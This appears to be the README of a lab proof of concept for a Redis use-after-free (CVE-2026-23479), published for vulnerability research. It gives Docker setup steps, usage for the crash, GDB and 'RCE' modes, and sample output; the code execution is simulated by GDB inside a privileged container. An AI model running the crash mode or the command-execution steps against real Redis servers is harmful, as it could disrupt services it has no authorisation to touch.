## https://sploitus.com/exploit?id=1DB0D250-EDB8-5F73-8BEE-FBC8561EC0C1
# 🔥 CVE-2026-23479 – Redis UAF Proof of Concept
[](LICENSE)
[](https://python.org)
[](https://docker.com)
[](https://nvd.nist.gov/vuln/detail/CVE-2026-23479)
[](#)
> **Use-After-Free in Redis `unblockClientOnKey()` leading to Remote Code Execution**
> Proof of concept with GDB‑assisted exploitation (educational / lab use only)
---
## 📖 Overview
**CVE-2026-23479** is a critical **Use‑After‑Free (UAF)** vulnerability in Redis versions 7.2.0 through 8.6.2.
The bug resides in `unblockClientOnKey()` which calls `processCommandAndResetClient()` **without checking its return value**.
If the client is freed during that call (e.g. due to eviction), the caller continues to operate on a dangling pointer → **UAF**.
An attacker who can shape the heap after the free may achieve **arbitrary code execution**.
This repository provides a **GDB‑assisted PoC** that:
- Triggers the exact vulnerable code path
- Proves the UAF by deliberately causing a crash (`freeClient()` call)
- Demonstrates **arbitrary command execution** by injecting a `system()` call at the same point
> ⚠️ **Important:** This is **not** a weaponised exploit. It uses GDB inside a privileged Docker container to **simulate** what a real attacker could achieve after successfully exploiting the UAF.
> Use it **only** in your own lab or on systems you have explicit permission to test.
---
## ✨ Features
- 🧪 **Four operation modes** – `crash`, `gdb`, `rce`, `full`
- 🐳 **Docker‑based** – no need to install a vulnerable Redis on the host
- 🔍 **Automatic version detection** – checks whether the target is in the affected range
- 🧹 **Self‑cleaning** – kills stale GDB sessions before each run
- 🎯 **Flexible container name** – pass any container via `--container`
- 📦 **Single Python file** – zero dependencies beyond the standard library
---
## 🧠 How It Works
1. **Block a victim** – An `XREAD BLOCK` command makes the client wait for stream data.
2. **Attach GDB** – GDB attaches to the Redis process (`pid 1`) inside the container.
3. **Set a breakpoint** on `processCommandAndResetClient` – the function called when the blocked client is re‑processed.
4. **Trigger unblock** – An `XADD` on the same stream wakes the victim.
5. **On breakpoint hit**:
- **`gdb` mode:** calls `freeClient($rdi)` → deliberately causes a **SIGSEGV** → proves UAF.
- **`rce` mode:** calls `system("your command")` → executes arbitrary shell commands as the Redis user (`root` by default).
6. **Verify** – the script checks whether the expected proof file exists (RCE) or whether Redis crashed (UAF).
The breakpoint fires **every time** a blocked client is unblocked, showing that **the same code path** that contains the UAF also allows code execution.
---
## 📋 Affected Versions
| Branch | Vulnerable Range |
|--------|------------------|
| 7.2 | 7.2.0 – 7.2.13 |
| 7.4 | 7.4.0 – 7.4.8 |
| 8.2 | 8.2.0 – 8.2.5 |
| 8.4 | 8.4.0 – 8.4.2 |
| 8.6 | 8.6.0 – 8.6.2 |
The script automatically parses the Redis version and reports whether it is vulnerable.
---
## 🐳 Prerequisites
- **Docker** installed and running
- **Python 3.8+** (only stdlib used)
- A Redis **8.6.2** Docker image that uses `apt` (e.g. the official `redis:8.6.2`)
- The container must be created with **`--privileged`** (required for `ptrace`)
---
## ⚙️ Setup
### 1. Clone the repository
```bash
git clone https://github.com/YOUR_USERNAME/CVE-2026-23479-PoC.git
cd CVE-2026-23479-PoC
```
### 2. Start a vulnerable Redis container
```bash
docker run -d --name redis-vuln-local --privileged -p 6379:6379 \
redis:8.6.2 redis-server --protected-mode no
```
### 3. Install GDB inside the container
```bash
docker exec -u root redis-vuln-local bash -c "
apt-get update && apt-get install -y gdb binutils procps
"
```
### 4. Verify
```bash
docker exec redis-vuln-local gdb --version
redis-cli -h 127.0.0.1 -p 6379 ping # should return PONG
```
## 🚀 Usage
```bash
python3 redisexp.py -p -m --container [--cmd "command"]
```
## Modes
| Mode | Description |
|------|-------------|
| `crash` | Attempt to trigger UAF via memory pressure (no GDB required). Redis may crash, but not guaranteed. |
| `gdb` | Attach GDB and call `freeClient()` at the breakpoint → forces a `SIGSEGV` (proves UAF). |
| `rce` | Attach GDB and call `system(cmd)` at the breakpoint → executes a shell command inside the container. |
| `full` | Run `crash` first; if Redis doesn't crash, fall back to `gdb`. |
---
## Options
| Argument | Default | Description |
|----------|---------|-------------|
| `target` | **(required)** | IP address of the Redis server |
| `-p`, `--port` | `6379` | Redis port |
| `-m`, `--mode` | `full` | One of `crash`, `gdb`, `rce`, `full` |
| `--container` | `env-redis-vuln-1` | Docker container name |
| `--cmd` | `id > /tmp/pwned_by_cve` | Command to execute in `rce` mode |
---
# 📚 Step-by-Step Examples
> **Note:** All commands are run from the **host machine**, **not** inside the Docker container.
## 1. Prove the UAF via GDB
```bash
python3 redisexp.py 127.0.0.1 -p 6379 -m gdb --container redis-vuln-local
```
### Expected Output (excerpt)
```text
[+] Victim blocked on XREAD
[+] GDB script deployed
[*] Triggering unblock via XADD...
[+] SIGSEGV in processCommand after freeClient()
[+] This confirms the UAF code path in unblockClientOnKey()
```
Redis will crash after the segmentation fault.
Restart the container:
```bash
docker start redis-vuln-local
```
---
## 2. Achieve Remote Code Execution (RCE)
Restart Redis to ensure a clean state:
```bash
docker restart redis-vuln-local
```
Run the exploit:
```bash
python3 redisexp.py 127.0.0.1 -p 6379 -m rce \
--cmd "touch /tmp/pwned" \
--container redis-vuln-local
```
Verify the proof file:
```bash
docker exec redis-vuln-local ls -l /tmp/pwned
```
If successful, the file will exist, proving that:
```c
system("touch /tmp/pwned");
```
was executed inside the Redis container.
---
## 3. Trigger the UAF Without GDB (Memory Pressure)
```bash
python3 redisexp.py 127.0.0.1 -p 6379 -m crash --container redis-vuln-local
```
If Redis exits unexpectedly (the container is no longer running), the UAF has likely been triggered.
Restart it with:
```bash
docker start redis-vuln-local
```
---
## 4. Run the Full Test
```bash
python3 redisexp.py 127.0.0.1 -p 6379 -m full --container redis-vuln-local
```
This mode:
1. Attempts the memory-pressure crash.
2. Falls back to the GDB-assisted method if Redis survives.
---
# 📸 Sample Output (RCE Mode)
```text
============================================================
CVE-2026-23479 Redis UAF Exploit PoC
============================================================
[*] Target: 127.0.0.1:6379
[*] Version: 8.6.2
[+] VULNERABLE
[*] Method: RCE via UAF code path injection
Exploits CVE-2026-23479 UAF in unblockClientOnKey()
Breakpoint on processCommandAndResetClient -> system()
Command: touch /tmp/pwned
[+] Victim blocked on XREAD
Successfully copied 2.05kB to redis-vuln-local:/tmp/cve_rce.gdb
[+] GDB RCE script deployed
[+] GDB attached, breakpoint active
[*] Triggering unblock via XADD...
[*] Checking for RCE evidence in /tmp/pwned...
[+] RCE CONFIRMED! Proof file /tmp/pwned created.
[+] Redis alive after exploit
============================================================
Results
============================================================
Target: 127.0.0.1:6379
Version: 8.6.2
Vulnerable: YES
RCE: CONFIRMED (arbitrary command execution)
============================================================
```
---
# 🔧 Modifications from the Original Script
The original PoC was hardcoded for a container named `env-redis-vuln-1` and contained several issues when executed with newer Python versions.
The updated version introduces the following improvements:
| Issue | Fix |
|------|-----|
| Hardcoded container name | Added the `--container` argument and propagated it through all functions. |
| `file` command placed inside the `commands` block in the GDB script | Moved `file /usr/local/bin/redis-server` before `attach` so GDB loads symbols correctly. |
| `subprocess.run()` used with both `capture_output=True` and `stderr=...` | Replaced with `stdout=subprocess.DEVNULL` and `stderr=subprocess.DEVNULL`. |
| Stale GDB processes causing `ptrace: Operation not permitted` | Added `pkill -9 gdb` before launching GDB in both `trigger_uaf_gdb()` and `trigger_rce()`. |
| No feedback when GDB failed silently | Added debug logging for GDB output and improved proof-file detection. |
---
# 🧹 Cleanup
```bash
docker stop redis-vuln-local
docker rm redis-vuln-local
```
---
# ⚠️ Disclaimer
This tool is intended **solely for educational purposes, authorized security research, and testing systems you own or have explicit permission to assess.**
The author does **not** condone or encourage unauthorized or malicious use.
Always obtain proper authorization before testing any production or third-party system.
---
# 📚 References
- **CVE-2026-23479** – NVD Detail
- Redis Security
- Redis GitHub Repository
---
Made with ❤️ for the security community.
**Stay ethical. Stay safe.**